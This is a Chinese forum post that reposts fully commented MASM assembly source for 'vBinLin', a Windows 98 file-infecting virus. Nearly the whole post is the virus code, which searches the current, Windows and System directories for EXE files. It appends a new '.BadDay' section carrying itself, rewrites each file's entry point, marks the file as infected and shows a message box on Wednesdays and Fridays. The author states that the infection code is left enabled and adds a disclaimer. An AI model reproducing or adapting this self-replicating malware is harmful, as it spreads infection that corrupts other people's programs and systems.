- UID
 - 66114
 
 注册时间2010-4-1
阅读权限30
最后登录1970-1-1
龙战于野 
  
 
 
 
TA的每日心情  | 慵懒 2019-3-12 17:25 | 
|---|
 
  签到天数: 3 天 [LV.2]偶尔看看I  
 | 
 
 本帖最后由 whypro 于 2010-7-17 15:52 编辑  
 
 |   | 本文出在 水色银光「 http://www.vbin.org/ 」  
 
 
一些网友给我写信,说代码看不懂或总是编译不过去。 
因此我又将代码加了详细的解释,几乎是一句一个解释。 
但是有关的代码并没有屏蔽,请大家调试时一定小心。| 
这个小病毒感染当前目录、Windows目录、System目录的EXE文件 
只要将此三个目录的EXE文件备份好(在纯DOS下可以恢复)调试时就算 
感染了病毒也应该没问题的。 
希望大家还是看懂代码再进行调试。 
此代码可以编译通过。  
-------------------------------------------------------------- 
一个基于98下的,具有病毒特性的程序。 
病毒本来就是一个技术性蛮高的程序,但是因为他常常犯错,给人感觉又神秘又恐怖。 
能过这段代码,你可以更深该的了解类似的程序。 
知道他并不可怕,只是被一些人要到了不正当的地方。 
其实有些程序利用病毒技术来做。还是非常好的(有些安全方面的程序就是利用这一技术)  
本程序仅供学习使用,若用到不正当地方,本人概不负责! 
感叹想当年如果有类似的源代码,我也不会走一些不该走的弯路。 
阅读前提:了理PE文件结构。 
;=========================================< 彬 >== 
;名 称: vBinLin病毒 
   ; AngelSoft WorkGroup 
;语 言: MASM Win98 
;日 期: 2001年8月24日 
;==================================================== 
;出 处: http://www.vbin.org 
;备 注: 有关代码未屏蔽!请注意!若没完全明白请误调试 
   ; 病毒本是一种高级编程技术,本代码只供学习使用 
   ; ,若用到其它用途本人概不负责! 
;注 意: 如需转载,请保留此文件的完整性!!!!! 
;=================================================== 
.386 
.model flat,stdcall 
  option casemap:none 
  include \masm32\include\windows.inc 
  include \masm32\include\kernel32.inc 
  include \masm32\include\comctl32.inc 
  include \masm32\include\user32.inc 
  include \masm32\include\gdi32.inc 
  include \masm32\include\comdlg32.inc 
  includelib \masm32\lib\gdi32.lib 
  includelib \masm32\lib\kernel32.lib 
  includelib \masm32\lib\comctl32.lib 
  includelib \masm32\lib\user32.lib 
  includelib \masm32\lib\comdlg32.lib 
;这是一些相关的定义,其实程序中根本就没用到 
;只是我习惯,一股脑的全搬上来啦 
;------------------------------------(上面的)-- 
.data 
  mcaption db "你好朋友!",0 
  mtitle   db "*标题*",0 
; 主程序所用到的一些变量 
;------------------------------------(上面的)-- 
.code 
 host_start: 
    invoke MessageBox,NULL,offset mcaption,offset mtitle,64 
    invoke ExitProcess,0 
;主程序代码,只是简单的打一串字符而已。 
;病毒代码运行完后,就会跳到此处执行。 
;------------------------------------(上面的)-- 
 BadDay SEGMENT PARA USE32 'BadDay' 
    assume cs:BadDay,ds:BadDay 
 vstart: 
    push ebp 
    push esp 
    call nstart 
 nstart:     
;;;;;;;;;;;;; 
    pop ebp 
    sub ebp,offset nstart 
;病毒中常用的一种方法。得到一个偏移差。 
;程序后面用到的所有变量都需要加上个这偏移差 
;------------------------------------(上面的)-- 
;========================= 
; *  更改程序入口地址  * 
    cmp now_basein[ebp],0 
    jnz gonext 
    mov now_basein[ebp],401000h 
  gonext: 
    cmp des_basein[ebp],0 
    jnz change 
    mov des_basein[ebp],401000h 
  change: 
    mov eax,now_basein[ebp] 
    push des_basein[ebp] 
    pop  now_basein[ebp] 
    mov des_basein[ebp],eax 
;变量定义的的意思见后方 
;程序开始执行时,当前程序的原入口地址会放到des_basein中 
;由于程序中des_basein有别的用途,因此将此地址存放到 
;now_basein,以便最后跳回原程序入口。 
;------------------------------------(上面的)-- 
;------------------------- 
;目录的开头部份 
    lea eax,NowPath[ebp] 
    push eax 
    mov eax,256 
    push eax 
    call vGetCurrentDirectory 
;通过API函数得到当前程序所在目录 
;------------------------------------(上面的)-- 
    lea eax,NowPath[ebp] 
    push eax 
    lea eax,SrcDir[ebp] 
    push eax 
    call vlstrcpy 
;保存当前目录 
;------------------------------------(上面的)-- 
    mov NowPathNo[ebp],1 
 FindStartT: 
    cmp NowPathNo[ebp],1 
    jz GFindFt 
    cmp NowPathNo[ebp],2 
    jz GetWinD 
    cmp NowPathNo[ebp],3 
    jz GetSysD 
    jmp AllFindEnd     
;根据NowPathNor值来判断感染哪个目录的文件 
;------------------------------------(上面的)-- 
  GetWinD:   
    mov eax,256 
    push eax 
    lea eax,NowPath[ebp] 
    push eax 
    call vGetWindowsDirectory 
    lea eax,NowPath[ebp] 
    push eax 
    call vSetCurrentDirectory 
    jmp GFindFt 
;得到WINDOWS所在目录,并且将其设为当前目录 
;------------------------------------(上面的)-- 
  GetSysD: 
    mov eax,256 
    push eax 
    lea eax,NowPath[ebp] 
    push eax 
    call vGetSystemDirectory 
    lea eax,NowPath[ebp] 
    push eax 
    call vSetCurrentDirectory 
;得到SYSTEM所在目录,并且将其设为当前目录 
;------------------------------------(上面的)-- 
  GFindFt: 
    lea eax,FindData[ebp] 
    push eax 
    lea eax,FileFilter[ebp] 
    push eax 
    call vFindFirstFile 
    cmp eax,INVALID_HANDLE_value 
    jz FindEnds 
    mov hFind[ebp],eax 
;查找当前目录下的第一个EXE文件 
;------------------------------------(上面的)-- 
  GoOnFind:    
;以下是病毒传染部份 
;------------------------- 
    push 0 
    push FILE_ATTRIBUTE_NORMAL 
    push OPEN_EXISTING 
    push 0 
    push FILE_SHARE_READ+FILE_SHARE_WRITE 
    push GENERIC_READ+GENERIC_WRITE 
    lea eax,FindData[ebp].cFileName 
    push eax 
    call vCreateFile 
;打开文件 
;------------------------------------(上面的)-- 
    cmp eax,INVALID_HANDLE_value 
    jz createfail 
        mov hFile[ebp],eax 
    push FILE_BEGIN 
    push 0 
    push 3ch 
    push hFile[ebp] 
    call vSetFilePointer 
;将文件指针指到3CH处(见前面的讲的) 
;------------------------------------(上面的)-- 
  
        push 0 
    lea eax,byte_read[ebp] 
    push eax 
    push 4 
    lea eax,PE_head_addr[ebp] 
    push eax 
    push hFile[ebp] 
        call vReadFile 
;得到PE头偏移地址 
;------------------------------------(上面的)-- 
         
    cmp eax,0 
        jz readfail 
          push FILE_BEGIN 
          push 0 
          push PE_head_addr[ebp] 
          push hFile[ebp] 
          call vSetFilePointer 
;指文件指针定位到PE头处 
;------------------------------------(上面的)-- 
               
          mov Head_len[ebp],sizeof PE_head+sizeof Section_table 
               
              push 0 
              lea eax,byte_read[ebp] 
          push eax 
          push Head_len[ebp] 
          lea eax,PE_head[ebp] 
          push eax 
          push hFile[ebp] 
          call vReadFile 
;从PE头处开始读,最所读数据存放在缓冲区中 
;------------------------------------(上面的)-- 
          cmp dword ptr PE_head[ebp].Signature,IMAGE_NT_SIGNATURE 
          jnz exitwrite 
;检查是否是PE文件,不是就跳出 
;------------------------------------(上面的)-- 
              cmp word ptr PE_head[ebp+1ah],0842h             
          jz exitwrite 
;若已感染过也跳 
;------------------------------------(上面的)-- 
         Noinfect: 
              ;保存与程序入口相关的RVA 
          push PE_head[ebp].OptionalHeader.AddressOfEntryPoint 
              pop des_in[ebp] 
              push PE_head[ebp].OptionalHeader.ImageBase 
              pop des_base[ebp] 
          mov eax,des_in[ebp] 
          add eax,des_base[ebp] 
          mov des_basein[ebp],eax               
;保存将要感染的程序的入口RVA和默认装入内存的地址 
;------------------------------------(上面的)-- 
               
          movzx eax,PE_head[ebp].FileHeader.SizeOfOptionalHeader 
          add eax,18h 
          mov Section_addr[ebp],eax 
;得到第一个节的地址 
;------------------------------------(上面的)-- 
               
              mov checker_len[ebp],offset vend-offset vstart 
;得到病毒代码的长度 
;------------------------------------(上面的)-- 
              movzx eax,PE_head[ebp].FileHeader.NumberOfSections 
          inc eax 
          mov ecx,28h 
          mul ecx 
          add eax,Section_addr[ebp] 
          add eax,PE_head_addr[ebp] 
              cmp eax,PE_head[ebp].OptionalHeader.SizeOfHeaders 
;检测当前文件头的剩余空间可否再加一个节。 
;------------------------------------(上面的)-- 
          ja exitwrite 
                   lea esi,Section_table[ebp] 
           movzx eax,PE_head[ebp].FileHeader.NumberOfSections 
           mov ecx,28h 
           mul ecx 
           add esi,eax 
           inc PE_head[ebp].FileHeader.NumberOfSections 
                   lea edi,new_section[ebp] 
           xchg edi,esi 
;填加一个节 
;------------------------------------(上面的)-- 
           mov eax,[edi-28h+8] 
           add eax,[edi-28h+0ch] 
                   mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment 
           div ecx 
           inc eax 
                   mul ecx 
           mov new_section[ebp].virt_addr,eax 
;建立新块,并且块对齐,得到新块入口地址 
;------------------------------------(上面的)-- 
            
           mov eax,checker_len[ebp] 
           mov ecx,PE_head[ebp].OptionalHeader.FileAlignment 
           div ecx 
           inc eax 
           mul ecx 
           mov new_section[ebp].raw_size,eax 
;得出新块的物理大小,按文件对齐 
;------------------------------------(上面的)--                   
                   mov eax,checker_len[ebp] 
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment 
           div ecx 
           inc eax 
           mul ecx 
           mov new_section[ebp].virt_size,eax 
;得出虚拟地址,按块对齐 
;------------------------------------(上面的)-- 
                
                   mov eax,[edi-28h+14h] 
           add eax,[edi-28h+10h] 
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment 
           div ecx 
           inc eax 
           mul ecx 
           mov new_section[ebp].raw_offset,eax 
;得到文件中的偏移。(按理说应该是文件最末) 
;------------------------------------(上面的)-- 
 
                   mov eax,new_section[ebp].virt_size 
           add eax,PE_head[ebp].OptionalHeader.SizeOfImage 
           mov ecx,PE_head[ebp].OptionalHeader.SectionAlignment 
           div ecx 
           inc eax 
           mul ecx 
           mov PE_head[ebp].OptionalHeader.SizeOfImage,eax 
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐 
;------------------------------------(上面的)-- 
                   mov ecx,28h 
           rep movsb 
;填加新块内容 
;------------------------------------(上面的)--                   
           mov eax,new_section[ebp].virt_addr 
           mov PE_head[ebp].OptionalHeader.AddressOfEntryPoint,eax 
;改入口地址 
;------------------------------------(上面的)-- 
                    
           mov word ptr PE_head[ebp+1ah],0842h 
;填加感染标志 
;------------------------------------(上面的)-- 
                    
                   push FILE_BEGIN 
           push 0 
           push PE_head_addr[ebp] 
           push hFile[ebp] 
           call vSetFilePointer 
;调指针 
;------------------------------------(上面的)-- 
                   push 0 
           lea eax,byte_read[ebp] 
           push eax 
           push Head_len[ebp] 
           lea eax,PE_head[ebp] 
           push eax 
           push hFile[ebp] 
           call vWriteFile 
;更新文件头 
;------------------------------------(上面的)-- 
                   push FILE_BEGIN 
           push 0 
           push new_section[ebp].raw_offset 
           push hFile[ebp] 
           call vSetFilePointer 
;更新指针(到文件尾) 
;------------------------------------(上面的)-- 
           push 0 
           lea eax,byte_read[ebp] 
           push eax 
           push new_section[ebp].raw_size 
           lea eax,vstart[ebp] 
           push eax 
           push hFile[ebp] 
           call vWriteFile 
;写病毒代码 
;------------------------------------(上面的)-- 
          exitwrite: 
         readfail: 
     push hFile[ebp] 
     call vCloseHandle 
;关闭当前文件 
;------------------------------------(上面的)-- 
    createfail: 
     
   
;-------------------------------- 
;目录结尾区 
 EndDir:  
    lea eax,FindData[ebp] 
    push eax 
    push hFind[ebp] 
    call vFindNextFile 
    cmp eax,0 
    jnz GoOnFind  
;查找下一个文件,然后继续感染,直到全感染全为止 
;------------------------------------(上面的)-- 
 FindEnds: 
    push hFind[ebp] 
    call vFindClose 
    inc NowPathNo[ebp] 
    inc NowPathNo[ebp]    ;<< 多加了几个1 
    inc NowPathNo[ebp]    ;<< 
    inc NowPathNo[ebp]    ;<< 
    jmp FindStartT 
;为了调试方便,在此只感染当前目录 
;------------------------------------(上面的)-- 
 AllFindEnd: 
    lea eax,SrcDir[ebp] 
    push eax 
    call vSetCurrentDirectory 
;恢复当前目录 
;------------------------------------(上面的)-- 
 ;####[ 病毒发作区 ]########################;        
    lea eax,NowTimes[ebp] 
    push eax 
    call vGetSystemTime 
    cmp NowTimes[ebp].wDayOfWeek,0003h 
    jz InTimes 
    cmp NowTimes[ebp].wDayOfWeek,0005h 
    jnz ExitTimes 
;根据时间决定,每周星期三和星期五发作 
;------------------------------------(上面的)-- 
;--- 发作代码 ------------------- 
 InTimes: 
;-------------------------------- 
         push 0 
         lea eax,MyTitle[ebp] 
         push eax 
         lea eax,MyTalk[ebp] 
         push eax 
         push 0 
         call vMessageBox 
;显示一个提示窗口 
;------------------------------------(上面的)-- 
 ExitTimes: 
;###########################################; 
; 恢复寄存器,跳回原程序处    
;------------------------------------------ 
         mov eax,now_basein[ebp] 
         pop esp 
         pop ebp 
     push eax 
;-------< 做好返回原程序的准备 >----------- 
;;;;;;;;;;;;;; 
    ret     ;返回主程序 
;-------------------------- 
; 函数调用地址 
;-------------------------- 
 vCreatefile:  
    mov jumpaddr[ebp],0BFF77B5BH 
    jmp jumpaddr[ebp] 
  vSetFilePointer:  
    mov jumpaddr[ebp],0BFF771BBH 
    jmp jumpaddr[ebp] 
   
  vReadfile:  
    mov jumpaddr[ebp],0BFF770B9H 
    jmp jumpaddr[ebp] 
   
  vWritefile:  
    mov jumpaddr[ebp],0BFF77051H 
    jmp jumpaddr[ebp] 
  vCloseHandle:  
    mov jumpaddr[ebp],0BFF7E2D9H 
    jmp jumpaddr[ebp] 
  vMessageBox:  
    mov jumpaddr[ebp],0BFF541BAH 
    jmp jumpaddr[ebp] 
  vGetCurrentDirectory:  
    mov jumpaddr[ebp],0BFF77A55H 
    jmp jumpaddr[ebp] 
  vGetWindowsDirectory:  
    mov jumpaddr[ebp],0BFF779F8H 
    jmp jumpaddr[ebp] 
  vGetSystemDirectory:  
    mov jumpaddr[ebp],0BFF779C2H 
    jmp jumpaddr[ebp] 
   
  vSetCurrentDirectory:  
    mov jumpaddr[ebp],0BFF77A2EH 
    jmp jumpaddr[ebp] 
  vlstrcpy:  
    mov jumpaddr[ebp],0BFF77378H 
    jmp jumpaddr[ebp] 
  vFindFirstfile:  
    mov jumpaddr[ebp],0BFF77BD7H 
    jmp jumpaddr[ebp] 
  vFindNextfile:  
    mov jumpaddr[ebp],0BFF77C0FH 
    jmp jumpaddr[ebp] 
  vFindClose:  
    mov jumpaddr[ebp],0BFF76540H 
    jmp jumpaddr[ebp] 
  vGetSystemTime:  
    mov jumpaddr[ebp],0BFFA1372H 
    jmp jumpaddr[ebp] 
  vExitWindowsEx:  
    mov jumpaddr[ebp],0BFF5232CH 
    jmp jumpaddr[ebp] 
;   其它的略.... 
 
;不同的WIN系统这里的地址是不同的。 
;因此说这个病毒并不是每个WIN系统都会传染的 
;------------------------------------(上面的)--   
    ALIGN 4 
    jumpaddr            dd        0 
    PE_head_addr        dd        0 
    checker_len         dd        0 
 
    MyTitle             db        "MyTitle",0 
    MyTalk              db        "MyTalk",0 
 
    PE_head             IMAGE_NT_HEADERS    <0>  
    Section_table       db        280h dup (0) 
    Head_len          dd        0;sizeof PE_head+sizeof Section_table     ; PE文件头和块表的长度 
    
    my_section     struc 
    sec_name        db      2Eh,42h,61h,64h,44h,61h,79h,0                   ; 块名 
    virt_size       dd      0               ; 块长 
    virt_addr       dd      0               ; 该块RVA地址 
    raw_size        dd      0               ; 该块物理长度 
    raw_offset      dd      0               ; 该块物理偏移 
                    dd      0,0,0           ; 未用 
    sec_flags       dd      0E0000020h      ; 属性  
    my_section    ends 
    new_section    my_section <> 
  
  
    secbuffer           db        512 dup (0) 
    tempbuffer          db        128 dup (0) 
    hFile               dd        0          
    des_in              dd        0 
    des_base            dd        0 
                        db        "SRCIN",0 
    des_basein          dd        0 
    now_basein          dd        0 
    byte_read           dd        0 
    Section_addr        dd        0 
    vsize               dd        0 
;相关的变量定义 
;------------------------------------(上面的)-- 
;----------------------------- 
; 查找文件专用 
     
    FileFilter db "*.exe",0 
    FindData   WIN32_FIND_DATA <> 
    hFind      dd 0 
    NowPath    db 256 dup (0) 
    NowPathNo  db 0 
    SrcDir     db 256 dup (0) 
;----------------------------- 
    NowTimes   SYSTEMTIME  <> 
;----------------------------- 
 
 vend: 
 BadDay ends 
end vstart 
 |  
  
 |  
  |   
 
 
 
 |